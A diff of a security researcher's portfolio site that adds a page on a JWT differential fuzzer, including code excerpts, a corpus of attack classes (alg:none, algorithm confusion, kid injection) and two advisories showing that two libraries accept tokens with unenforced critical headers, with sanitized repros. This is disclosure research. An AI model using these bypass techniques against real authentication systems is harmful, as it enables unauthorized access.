| <p>Pulls indicators from live threat-intel feeds, dedupes across them, extracts the | ||
| - | MITRE techniques, generates Wazuh rules - and emails an analyst for sign-off before | |
| + | MITRE techniques, generates Wazuh rules, and emails an analyst for sign-off before | |
| anything goes live.</p> | ||
| <div class="tags"><span>Python</span><span>ThreatFox / OTX</span><span>Wazuh CDB</span><span>ATT&CK</span></div> | ||
| <span class="lnk mono">cti-detection-automation</span> | ||
| @@ -305,25 +321,25 @@ | ||
| <div class="research"> | ||
| <div class="ritem"> | ||
| - | <span class="cls mono">MPC / crypto</span> | |
| - | <div><h3>Fireblocks MPC research notebook</h3> | |
| - | <p>Findings against an MPC threshold-signature library - memory safety, signature | |
| - | verification, and zero-knowledge proof soundness, with reproducible PoCs.</p></div> | |
| - | <a class="go" href="https://github.com/zionboggan/security-research-notebook">notebook →</a> | |
| + | <span class="cls mono">Notebook</span> | |
| + | <div><h3>Security research notebook</h3> | |
| + | <p>37 coordinated-disclosure writeups and methodology notes, 8 Fireblocks MPC findings | |
| + | (memory safety, signature verification, ZK-proof soundness), Postgres privilege-escalation | |
| + | chains, blockchain consensus, and camera firmware, each leading with how the bug was reached.</p></div> | |
| + | <a class="go" href="/security-research-notebook/">notebook →</a> | |
| </div> | ||
| <div class="ritem"> | ||
| <span class="cls mono">JWT / auth</span> | ||
| - | <div><h3>Schism - JWT differential fuzzer</h3> | |
| + | <div><h3>Schism, JWT differential fuzzer</h3> | |
| <p>Differentially tests JWT libraries against each other and the RFCs to surface | ||
| algorithm-confusion and parsing-divergence bypasses.</p></div> | ||
| - | <a class="go" href="https://github.com/zionboggan/jwt-differential-fuzzer">fuzzer →</a> | |
| + | <a class="go" href="/jwt-differential-fuzzer/">fuzzer →</a> | |
| </div> | ||
| <div class="ritem"> | ||
| <span class="cls mono">Markets / quant</span> | ||
| <div><h3>Prediction-market bot postmortem</h3> | ||
| - | <p>A trading bot taken from edge hypothesis to a documented, honest negative result - | |
| - | the evaluation harness and why the edge didn't survive fees.</p></div> | |
| - | <a class="go" href="https://github.com/zionboggan/prediction-market-bot-postmortem">postmortem →</a> | |
| + | <p>A trading bot taken from edge hypothesis to a documented, honest negative result, the evaluation harness and why the edge didn't survive fees.</p></div> | |
| + | <a class="go" href="/prediction-market-bot-postmortem/">postmortem →</a> | |
| </div> | ||
| </div> | ||
| @@ -343,11 +359,11 @@ | ||
| <div class="shead"><span class="idx mono">04</span><h2>Background</h2><span class="rule"></span></div> | ||
| <div class="cred"> | ||
| <div> | ||
| - | <p>Two years on a SOC desk at a managed security provider - triaging 150-300 alerts a | |
| - | shift across Splunk, Microsoft Sentinel, SentinelOne, and Stellar Cyber, running | |
| - | forensic investigations on ransomware intrusions (Cactus, BlackByte), and managing | |
| - | vulnerability remediation against NIST 800-171 / CMMC baselines.</p> | |
| - | <p class="role"><b>SOC Analyst</b> · Cyber Guards (MSSP) · 2024-present<br> | |
| + | <p>Two years on a SOC desk at a managed security provider, triaging 150 to 300 alerts a | |
| + | shift across Splunk, Microsoft Sentinel, SentinelOne, and Stellar Cyber. I have supported | |
| + | incident response on ransomware cases (Cactus, BlackByte) and helped track vulnerability | |
| + | remediation against NIST 800-171 and CMMC baselines.</p> | |
| + | <p class="role"><b>SOC Analyst</b> · MSSP · 2024-present<br> | |
| <b>Prior:</b> Relationship Banker · Bank of America</p> | ||
| </div> | ||
| <ul class="certs"> | ||
| @@ -356,7 +372,7 @@ | ||
| <li><span class="c">AZ-104</span> Microsoft Azure Administrator</li> | ||
| <li><span class="c">AZ-900</span> Microsoft Azure Fundamentals</li> | ||
| <li><span class="c">S1</span> SentinelOne Incident Responder</li> | ||
| - | <li><span class="c">CySA+</span> CompTIA - scheduled June 2026</li> | |
| + | <li><span class="c">CySA+</span> CompTIA, scheduled June 2026</li> | |
| </ul> | ||
| </div> | ||
| </div></section> | ||
| @@ -366,7 +382,7 @@ | ||
| <a href="https://github.com/zionboggan">GitHub</a> | ||
| <a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a> | ||
| <a href="https://oversightprotocol.dev/">Oversight</a> | ||
| - | <a href="mailto:zionboggan@gmail.com">Email</a> | |
| + | <a href="mailto:zionboggan0@gmail.com">Email</a> | |
| </div> | ||
| <div class="note">Built and deployed on a self-hosted Proxmox homelab. Source for every | ||
| project is linked above.</div> |
| @@ -0,0 +1,267 @@ | ||
| + | <!doctype html> | |
| + | <html lang="en"> | |
| + | <head> | |
| + | <meta charset="utf-8"> | |
| + | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| + | <title>Schism, JWT Differential Fuzzer | Zion Boggan</title> | |
| + | <meta name="description" content="Differentially tests JWT libraries against each other and the RFCs to surface algorithm-confusion and parsing-divergence bypasses."> | |
| + | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | |
| + | <style> | |
| + | :root{ | |
| + | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; | |
| + | --line:#222936; --line2:#2c3543; | |
| + | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; | |
| + | --accent:#6cc7b8; --accent-dim:#274b47; | |
| + | --maxw:1020px; | |
| + | } | |
| + | *{box-sizing:border-box;} | |
| + | html{scroll-behavior:smooth;} | |
| + | body{margin:0;background:var(--bg);color:var(--ink); | |
| + | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; | |
| + | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} | |
| + | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} | |
| + | a{color:var(--accent);text-decoration:none;} | |
| + | a:hover{color:#8fe0d2;} | |
| + | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} | |
| + | ||
| + | /* nav */ | |
| + | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); | |
| + | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} | |
| + | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} | |
| + | nav .brand{font-weight:600;letter-spacing:.2px;} | |
| + | nav .brand .dot{color:var(--accent);} | |
| + | nav .links{display:flex;gap:26px;font-size:13.5px;} | |
| + | nav .links a{color:var(--muted);} | |
| + | nav .links a:hover{color:var(--ink);} | |
| + | @media(max-width:680px){nav .links{display:none;}} | |
| + | ||
| + | /* hero */ | |
| + | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); | |
| + | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} | |
| + | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); | |
| + | display:flex;align-items:center;gap:9px;margin-bottom:20px;} | |
| + | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); | |
| + | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} | |
| + | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} | |
| + | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} | |
| + | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} | |
| + | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} | |
| + | .hero .lede b{color:var(--ink);font-weight:600;} | |
| + | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} | |
| + | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; | |
| + | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} | |
| + | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} | |
| + | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} | |
| + | .btn.primary:hover{background:#8fe0d2;color:#06231f;} | |
| + | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} | |
| + | .meta .mono{color:var(--faint);} | |
| + | ||
| + | /* sections */ | |
| + | section{padding:64px 0;border-bottom:1px solid var(--line);} | |
| + | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} | |
| + | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} | |
| + | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} | |
| + | .shead .rule{flex:1;height:1px;background:var(--line);} | |
| + | ||
| + | /* flagship */ | |
| + | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); | |
| + | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} | |
| + | .flag .top{padding:30px 32px 8px;} | |
| + | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} | |
| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | /* detail pages */ | |
| + | .detail-hero{padding:40px 0 28px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:22px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(28px,5vw,42px);margin:0 0 12px;letter-spacing:-.6px;} | |
| + | .detail-hero .tagline{font-size:clamp(16px,2.2vw,19px);color:var(--soft);max-width:780px;margin:0 0 18px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(148px,1fr));gap:12px;margin-top:24px;} | |
| + | figure{margin:0;} | |
| + | .shot{border:1px solid var(--line2);border-radius:12px;overflow:hidden;background:#fff;margin:30px 0 6px;} | |
| + | .shot img,.shot video{display:block;width:100%;height:auto;} | |
| + | figcaption{font-size:13px;color:var(--muted);margin:11px 2px 0;} | |
| + | .content{padding:6px 0 0;} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:44px 0 16px;font-weight:600;border-top:1px solid var(--line);padding-top:30px;} | |
| + | .content h2.first{border-top:none;padding-top:6px;margin-top:18px;} | |
| + | .content p{color:var(--soft);margin:0 0 16px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 16px;padding-left:22px;} | |
| + | .content li{margin:6px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:13px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.5px;color:var(--soft);line-height:1.62;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.5px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content td code{font-size:12px;} | |
| + | .gallery{margin-top:8px;} | |
| + | .repo-line{margin:42px 0 0;color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | </style> | |
| + | <!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/jwt-differential-fuzzer/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Schism - JWT Differential Fuzzer | Zion Boggan"> | |
| + | <meta property="og:description" content="Differentially tests JWT libraries against each other and the RFCs to surface algorithm-confusion and parsing-divergence bypasses."> | |
| + | <meta property="og:url" content="https://zionboggan.com/jwt-differential-fuzzer/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Schism - JWT Differential Fuzzer | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Differentially tests JWT libraries against each other and the RFCs to surface algorithm-confusion and parsing-divergence bypasses."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Schism - JWT Differential Fuzzer","description":"Differentially tests JWT libraries against each other and the RFCs to surface algorithm-confusion and parsing-divergence bypasses.","url":"https://zionboggan.com/jwt-differential-fuzzer/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head> | |
| + | <body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"> | |
| + | <a href="/#oversight">Oversight</a> | |
| + | <a href="/#labs">Labs</a> | |
| + | <a href="/#research">Research</a> | |
| + | <a href="/#background">Background</a> | |
| + | <a href="/">Home</a> | |
| + | </span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/#labs">← All work</a> | |
| + | <div class="kicker">JWT / AUTH</div> | |
| + | <h1>Schism, JWT Differential Fuzzer</h1> | |
| + | <p class="tagline">Differentially tests JWT libraries against each other and the RFCs to surface algorithm-confusion and parsing-divergence bypasses.</p> | |
| + | <div class="tags"><span>JWT</span><span>Differential fuzzing</span><span>Algorithm confusion</span><span>RFC 7515</span><span>RFC 7519</span><span>Coordinated disclosure</span><span>Auth bypass</span></div> | |
| + | <div class="facts"><div class="stat"><div class="n">5</div><div class="k">JWT libraries differentially tested</div></div><div class="stat"><div class="n">73</div><div class="k">cases in the seed corpus</div></div><div class="stat"><div class="n">13</div><div class="k">bug classes covered</div></div><div class="stat"><div class="n">2</div><div class="k">confirmed bypass advisories (F001, F002)</div></div><div class="stat"><div class="n">3</div><div class="k">sister CVEs anchoring the disclosure</div></div></div> | |
| + | <div class="cta" style="margin-top:24px"></div> | |
| + | </div></header> | |
| + | <section><div class="wrap"> | |
| + | ||
| + | <div class="content"> | |
| + | <h2 class="first">The differential approach</h2> | |
| + | <p>Schism does not decide on its own whether a token is valid. It treats the JWT ecosystem as its own oracle: it submits one corpus case to every running library and flags any case where the libraries do not agree. The orchestrator collapses the responses by the <code>valid</code> field; if the set of accepting verifiers and the set of rejecting verifiers are both non-empty, the case is flagged. An unanimous outcome, even an unanimously wrong one, is not a finding, because no library can be split against another.</p><p>Error wording is bucketed by class rather than compared literally, so the different diagnostic strings each library emits for the same rejection never produce a false positive. Only the boolean verdict matters. Where the corpus carries an <code>expected_unanimous</code> of <code>reject</code> and any library still accepts, the disagreement is labelled BYPASS; the inverse is DOS; anything else is SPLIT. The comparison and labelling logic, verbatim from <code>orchestrator/differ.py</code>:</p><pre><code>def disagreement(results): | |
| + | verdicts = {n: r.get("valid") for n, r in results.items()} | |
| + | distinct = set(v for v in verdicts.values() if v is not None) | |
| + | return len(distinct) > 1 | |
| + | ||
| + | # ... per flagged case: | |
| + | acceptors = [n for n, v in verdicts.items() if v is True] | |
| + | rejectors = [n for n, v in verdicts.items() if v is False] | |
| + | ||
| + | tag = "BYPASS" if (expected == "reject" and acceptors)\ | |
| + | else "DOS" if (expected == "accept" and rejectors)\ | |
| + | else "SPLIT"</code></pre><p>Transport failures resolve to <code>valid: None</code> and are excluded from the distinct-verdict set, so an unreachable target degrades coverage rather than corrupting a comparison. The run exits non-zero when any case is flagged, which makes the harness usable as a regression gate.</p> | |
| + | <h2>Libraries under test</h2> | |
| + | <p>Five libraries run as v1 targets, each a thin HTTP wrapper over the library's own <code>verify()</code> call inside a minimal Docker container exposing <code>POST /verify</code> on a fixed port. The selection spans three languages and is weighted toward the libraries with the largest downstream blast radius and the longest history of JOSE-layer defects. <code>jose</code> (panva) is the most spec-compliant of the set and is used as the de facto compliance oracle.</p><table><thead><tr><th>ID</th><th>Library</th><th>Language</th><th>Rationale</th></tr></thead><tbody><tr><td><code>nodejwt</code></td><td><code>jsonwebtoken</code> (Auth0)</td><td>Node</td><td>~10M weekly npm downloads</td></tr><tr><td><code>pyjwt</code></td><td><code>PyJWT</code></td><td>Python</td><td>Most-used Python lib; historical alg-confusion CVEs</td></tr><tr><td><code>pyjose</code></td><td><code>python-jose</code></td><td>Python</td><td>Looser parser; CVE-2024-33663 territory</td></tr><tr><td><code>panva</code></td><td><code>jose</code> (panva)</td><td>Node</td><td>Most spec-compliant JS lib; oracle</td></tr><tr><td><code>gojwt</code></td><td><code>golang-jwt/jwt</code> v5</td><td>Go</td><td>Used in Kubernetes, Helm, etc.</td></tr></tbody></table><p>The panva wrapper detects key type by content rather than by declared algorithm, so the library is given the same chance the others get to refuse a mismatched <code>(key, alg)</code> pair, important for not manufacturing alg-confusion divergences that are really wrapper artifacts:</p><pre><code>async function importKey(keyMaterial, algs) { | |
| + | if (typeof keyMaterial === "string" && keyMaterial.includes("BEGIN")) { | |
| + | const asymAlgs = algs.filter((a) => /^(RS|PS|ES|Ed)/.test(a)); | |
| + | const tryAlg = asymAlgs[0] || algs[0]; | |
| + | return await jose | |
| + | .importSPKI(keyMaterial, tryAlg) | |
| + | .catch(async () => jose.importX509(keyMaterial, tryAlg)); | |
| + | } | |
| + | if (typeof keyMaterial === "object" && keyMaterial !== null) { | |
| + | return await jose.importJWK(keyMaterial, algs[0]); | |
| + | } | |
| + | return new TextEncoder().encode(keyMaterial); | |
| + | }</code></pre><p>A v2 expansion is planned to add <code>nimbus-jose-jwt</code> (Java), the Rust <code>jsonwebtoken</code>, and <code>lcobucci/jwt</code> (PHP), broadening the cross-language surface where token bytes change hands.</p> | |
| + | <h2>Oracle design and divergence classes</h2> | |
| + | <p>The seed corpus carries 73 cases across 13 bug classes. Three are baseline positive controls (RS256, HS256, ES256 happy paths) whose job is to catch a broken or misconfigured wrapper before any negative case is trusted. The remaining classes target known JWT failure modes, each case tagged with the governing RFC clause or prior CVE:</p><table><thead><tr><th>Class</th><th>Cases</th><th>What it probes</th></tr></thead><tbody><tr><td><code>none-alg</code></td><td>9</td><td><code>alg:none</code> case variants, none, None, NONE, NoNe</td></tr><tr><td><code>alg-confusion</code></td><td>6</td><td>HS256 signed against the RSA public key</td></tr><tr><td><code>crit-header</code></td><td>5</td><td>RFC 7515 §4.1.11 critical-header enforcement</td></tr><tr><td><code>kid-injection</code></td><td>8</td><td>SQL-i and path-traversal patterns in <code>kid</code></td></tr><tr><td><code>key-injection</code></td><td>3</td><td>Embedded <code>jwk</code> / <code>jku</code> self-signed key trust</td></tr><tr><td><code>sig-mutation</code></td><td>8</td><td>Truncated, flipped, and stripped signatures</td></tr><tr><td><code>ecdsa-encoding</code></td><td>3</td><td>ECDSA <code>r</code>/<code>s</code> of zero, n, and n−1</td></tr><tr><td><code>claim-typing</code></td><td>10</td><td><code>exp</code>/<code>nbf</code>/<code>aud</code> type coercion and overflow</td></tr><tr><td><code>header-quirk</code></td><td>7</td><td>Duplicate keys, NUL bytes, BOM, unicode in the header</td></tr><tr><td><code>format</code></td><td>6</td><td>Compact-serialization framing and padding edge cases</td></tr><tr><td><code>allowlist-edge</code></td><td>3</td><td>Algorithm allowlist bypass and empty-allowlist behaviour</td></tr><tr><td><code>b64-detached</code></td><td>2</td><td>RFC 7797 <code>b64=false</code> detached-payload handling</td></tr></tbody></table><p>Each case records its bug-class tag, the inputs, the <code>expected_unanimous</code> outcome that should hold if every library agreed, and a <code>notes</code> pointer to the RFC clause or prior CVE that governs the correct behaviour. The oracle is deliberately conservative: it never asserts the spec-correct answer to a library, only that the libraries must answer in unison. The spec citation is brought in by hand at triage, once a real divergence has been isolated, which is what turns a flagged row into an advisory that can pick a winner.</p> | |
| + | <h2>F001, node-jsonwebtoken: RFC 7515 §4.1.11 crit not enforced</h2> | |
| + | <p><strong>Affected:</strong> <code>jsonwebtoken</code> (npm), <code>auth0/node-jsonwebtoken</code>. <strong>Tested:</strong> 9.0.3 (latest at time of testing). <strong>Class:</strong> spec violation of RFC 7515 §4.1.11 (Critical Header Parameter).</p><p><strong>Root cause.</strong> The library does not implement critical-header processing. RFC 7515 §4.1.11 is explicit: <em>"If any of the listed extension Header Parameters are not understood and supported by the recipient, then the JWS is invalid."</em> A signed JWS whose <code>crit</code> array lists an extension parameter the recipient does not understand MUST be rejected. <code>jsonwebtoken</code> instead accepts such tokens unconditionally whenever the signature is valid for the declared <code>alg</code>. Source confirmation: <code>verify.js</code> on <code>master</code> never references <code>crit</code>, RFC 7515 §4.1.11, RFC 7797, or <code>b64</code>; its verification path validates only <code>alg</code>, <code>nbf</code>, <code>exp</code>, <code>aud</code>, <code>iss</code>, <code>sub</code>, <code>jti</code>, <code>nonce</code>, <code>iat</code>, and <code>maxAge</code>. No code path inspects the <code>crit</code> array.</p><p><strong>How Schism caught it.</strong> Running corpus case <code>crit-crit-eca</code> split the verifiers, <code>panva</code> and <code>PyJWT</code> 2.12.0+ correctly reject the same token <code>jsonwebtoken</code> accepts:</p><pre><code>[schism] 4/5 targets up: ['nodejwt', 'pyjwt', 'pyjose', 'panva'] | |
| + | [BYPASS] crit-crit-eca sev=bypass-risk accept=['nodejwt', 'pyjose'] reject=['pyjwt', 'panva']</code></pre><p>Per-library verdict on the case:</p><pre><code>nodejwt 9.0.3 valid=True | |
| + | pyjwt 2.12.0 valid=False InvalidJWTError: Token has unsupported critical header | |
| + | pyjose 3.3.0 valid=True | |
| + | panva 5.10.0 valid=False ERR_JOSE_NOT_SUPPORTED: Extension Header Parameter "foobar" is not recognized</code></pre><p><strong>Repro structure (sanitized).</strong> The test case constructs a normally HS256-signed token whose JOSE header additionally carries <code>crit</code> listing an unregistered extension name, with that extension also present in the header:</p><pre><code>header = { alg: "HS256", typ: "JWT", crit: ["<ext>"], "<ext>": true } | |
| + | claims = { sub: "alice", iat: ..., exp: ... } | |
| + | token = sign(header, claims, secret) // signature is genuinely valid | |
| + | verify(token, secret, { algorithms: ["HS256"] }) | |
| + | // observed: ACCEPTED. spec-correct: REJECTED (extension not supported)</code></pre><p><strong>Impact.</strong> The split is exploitable wherever a security-relevant extension is declared critical and the directive is silently dropped by the lenient verifier: RFC 7797 detached payloads (<code>b64=false</code>), RFC 9449 DPoP proof-of-possession binding declared via <code>cnf</code>, and custom application claims (e.g. <code>crit:["x-tenant-pin"]</code>). In a heterogeneous fleet, <code>jsonwebtoken</code> on a backend behind a panva gateway, the split-brain interpretation lets an attacker pass a token the strict hop would have refused.</p> | |
| + | <h2>F002, python-jose: RFC 7515 §4.1.11 crit not enforced</h2> | |
| + | <p><strong>Affected:</strong> <code>python-jose</code> (PyPI), <code>mpdavis/python-jose</code>. <strong>Tested:</strong> 3.3.0 (latest, last released 2022). <strong>Class:</strong> spec violation of RFC 7515 §4.1.11 (Critical Header Parameter).</p><p><strong>Root cause.</strong> The same defect as F001 in a second library. <code>jose/jws.py</code> on <code>master</code> never references <code>crit</code>, RFC 7515 §4.1.11, RFC 7797, or <code>b64</code>; <code>_load()</code> decodes the header JSON without inspecting <code>crit</code>, and <code>_encode_header()</code> passes arbitrary additional headers through with no validation. A signed JWS declaring an unknown critical extension is accepted as long as the signature is otherwise valid.</p><p><strong>Maintenance caveat.</strong> <code>python-jose</code> has had no release since 3.3.0 (2022) and its GitHub advisory page shows zero published advisories, yet it remains widely deployed via transitive dependency chains (FastAPI-adjacent stacks, OAuth2 clients) and is not formally deprecated. A CVE here serves both as user notification and as input for downstream forks.</p><p><strong>Same divergence, same case.</strong> <code>crit-crit-eca</code> produces the identical BYPASS row: <code>accept=[nodejwt, pyjose]</code>, <code>reject=[pyjwt, panva]</code>. The standalone reproducer builds the token directly with the standard library, base64url JOSE header carrying <code>crit:["<ext>"]</code>, base64url claims, and a genuine HMAC-SHA256 signature, then calls <code>jose.jwt.decode(token, secret, algorithms=["HS256"])</code> and observes acceptance where RFC 7515 §4.1.11 requires the decode to raise. No forged signature and no key compromise is involved; the signature is valid by construction and the defect is purely the unenforced critical-header directive.</p><p><strong>Impact.</strong> Identical to F001. Any application relying on <code>crit</code> to enforce a security-relevant extension cannot rely on <code>python-jose</code> to honor it; in deployments where one service uses <code>python-jose</code> and another uses a strict verifier (panva, PyJWT ≥ 2.12.0), the same 